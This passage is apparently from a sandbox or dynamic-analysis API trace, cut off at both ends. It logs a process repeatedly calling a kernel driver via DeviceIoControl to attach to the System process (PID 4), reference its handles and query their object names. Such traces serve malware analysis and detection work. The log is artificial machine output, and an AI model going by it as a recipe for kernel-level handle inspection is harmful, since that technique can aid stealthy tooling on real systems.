ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.143] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037f0f20, HandleInformation=0x0) returned 0x0 [0111.143] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.144] PsReleaseProcessExitSynchronization () returned 0x2 [0111.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.144] ObQueryNameString (in: Object=0xfffffa80037f0f20, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.144] ObfDereferenceObject (Object=0xfffffa80037f0f20) returned 0x2 [0111.144] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.144] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.144] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.144] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.144] PsAcquireProcessExitSynchronization () returned 0x0 [0111.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.144] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037aedf0, HandleInformation=0x0) returned 0x0 [0111.144] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.144] PsReleaseProcessExitSynchronization () returned 0x2 [0111.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.144] ObQueryNameString (in: Object=0xfffffa80037aedf0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.144] ObfDereferenceObject (Object=0xfffffa80037aedf0) returned 0x2 [0111.144] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.144] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.144] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.144] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.144] PsAcquireProcessExitSynchronization () returned 0x0 [0111.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.144] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003afd2c0, HandleInformation=0x0) returned 0x0 [0111.144] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.144] PsReleaseProcessExitSynchronization () returned 0x2 [0111.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.144] ObQueryNameString (in: Object=0xfffffa8003afd2c0, ObjectNameInfo=0xfffffa80037b8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.144] ObfDereferenceObject (Object=0xfffffa8003afd2c0) returned 0x2 [0111.145] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.145] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.145] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.145] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.145] PsAcquireProcessExitSynchronization () returned 0x0 [0111.145] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.145] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037a73e0, HandleInformation=0x0) returned 0x0 [0111.145] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.145] PsReleaseProcessExitSynchronization () returned 0x2 [0111.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.145] ObQueryNameString (in: Object=0xfffffa80037a73e0, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.145] ObfDereferenceObject (Object=0xfffffa80037a73e0) returned 0x2 [0111.145] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.145] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.145] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.145] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.145] PsAcquireProcessExitSynchronization () returned 0x0 [0111.145] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.145] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800216bbc0, HandleInformation=0x0) returned 0x0 [0111.145] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.145] PsReleaseProcessExitSynchronization () returned 0x2 [0111.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.145] ObQueryNameString (in: Object=0xfffffa800216bbc0, ObjectNameInfo=0xfffffa80037b0704, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037b0704, ReturnLength=0xfffff88005590550) returned 0x0 [0111.145] ObfDereferenceObject (Object=0xfffffa800216bbc0) returned 0x2 [0111.145] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.145] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.145] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.146] PsAcquireProcessExitSynchronization () returned 0x0 [0111.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.146] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80025eb4e0, HandleInformation=0x0) returned 0x0 [0111.146] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.146] PsReleaseProcessExitSynchronization () returned 0x2 [0111.146] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.146] ObQueryNameString (in: Object=0xfffffa80025eb4e0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.146] ObfDereferenceObject (Object=0xfffffa80025eb4e0) returned 0x2 [0111.146] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.146] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.146] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.146] PsAcquireProcessExitSynchronization () returned 0x0 [0111.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.146] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80019d7730, HandleInformation=0x0) returned 0x0 [0111.146] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.146] PsReleaseProcessExitSynchronization () returned 0x2 [0111.146] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.146] ObQueryNameString (in: Object=0xfffffa80019d7730, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.146] ObfDereferenceObject (Object=0xfffffa80019d7730) returned 0x2 [0111.146] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.146] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.146] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.146] PsAcquireProcessExitSynchronization () returned 0x0 [0111.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.146] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032f6cf0, HandleInformation=0x0) returned 0x0 [0111.146] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.147] PsReleaseProcessExitSynchronization () returned 0x2 [0111.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.147] ObQueryNameString (in: Object=0xfffffa80032f6cf0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.147] ObfDereferenceObject (Object=0xfffffa80032f6cf0) returned 0x2 [0111.147] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.147] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.147] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.147] PsAcquireProcessExitSynchronization () returned 0x0 [0111.147] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.147] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024d5d10, HandleInformation=0x0) returned 0x0 [0111.147] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.147] PsReleaseProcessExitSynchronization () returned 0x2 [0111.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.147] ObQueryNameString (in: Object=0xfffffa80024d5d10, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.147] ObfDereferenceObject (Object=0xfffffa80024d5d10) returned 0x2 [0111.147] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.147] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.147] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.147] PsAcquireProcessExitSynchronization () returned 0x0 [0111.147] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.147] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024c9050, HandleInformation=0x0) returned 0x0 [0111.147] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.147] PsReleaseProcessExitSynchronization () returned 0x2 [0111.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.147] ObQueryNameString (in: Object=0xfffffa80024c9050, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.147] ObfDereferenceObject (Object=0xfffffa80024c9050) returned 0x2 [0111.148] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.148] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.148] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.148] PsAcquireProcessExitSynchronization () returned 0x0 [0111.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.148] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037f3820, HandleInformation=0x0) returned 0x0 [0111.148] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.148] PsReleaseProcessExitSynchronization () returned 0x2 [0111.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.148] ObQueryNameString (in: Object=0xfffffa80037f3820, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.148] ObfDereferenceObject (Object=0xfffffa80037f3820) returned 0x2 [0111.148] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.148] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.148] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.148] PsAcquireProcessExitSynchronization () returned 0x0 [0111.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.148] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037f19f0, HandleInformation=0x0) returned 0x0 [0111.148] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.148] PsReleaseProcessExitSynchronization () returned 0x2 [0111.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.148] ObQueryNameString (in: Object=0xfffffa80037f19f0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.148] ObfDereferenceObject (Object=0xfffffa80037f19f0) returned 0x2 [0111.148] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.148] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.148] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.149] PsAcquireProcessExitSynchronization () returned 0x0 [0111.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.149] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80033f3bf0, HandleInformation=0x0) returned 0x0 [0111.149] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.149] PsReleaseProcessExitSynchronization () returned 0x2 [0111.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.149] ObQueryNameString (in: Object=0xfffffa80033f3bf0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.149] ObfDereferenceObject (Object=0xfffffa80033f3bf0) returned 0x2 [0111.149] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.149] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.149] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.149] PsAcquireProcessExitSynchronization () returned 0x0 [0111.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.149] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037f2f20, HandleInformation=0x0) returned 0x0 [0111.149] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.149] PsReleaseProcessExitSynchronization () returned 0x2 [0111.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.149] ObQueryNameString (in: Object=0xfffffa80037f2f20, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.149] ObfDereferenceObject (Object=0xfffffa80037f2f20) returned 0x2 [0111.149] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.149] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.149] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.150] PsAcquireProcessExitSynchronization () returned 0x0 [0111.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.150] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037f5c50, HandleInformation=0x0) returned 0x0 [0111.150] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.150] PsReleaseProcessExitSynchronization () returned 0x2 [0111.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.150] ObQueryNameString (in: Object=0xfffffa80037f5c50, ObjectNameInfo=0xfffffa800393e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800393e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.150] ObfDereferenceObject (Object=0xfffffa80037f5c50) returned 0x2 [0111.150] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.150] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.150] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.150] PsAcquireProcessExitSynchronization () returned 0x0 [0111.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.150] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800f9bff20, HandleInformation=0x0) returned 0x0 [0111.150] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.150] PsReleaseProcessExitSynchronization () returned 0x2 [0111.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.150] ObQueryNameString (in: Object=0xfffffa800f9bff20, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: 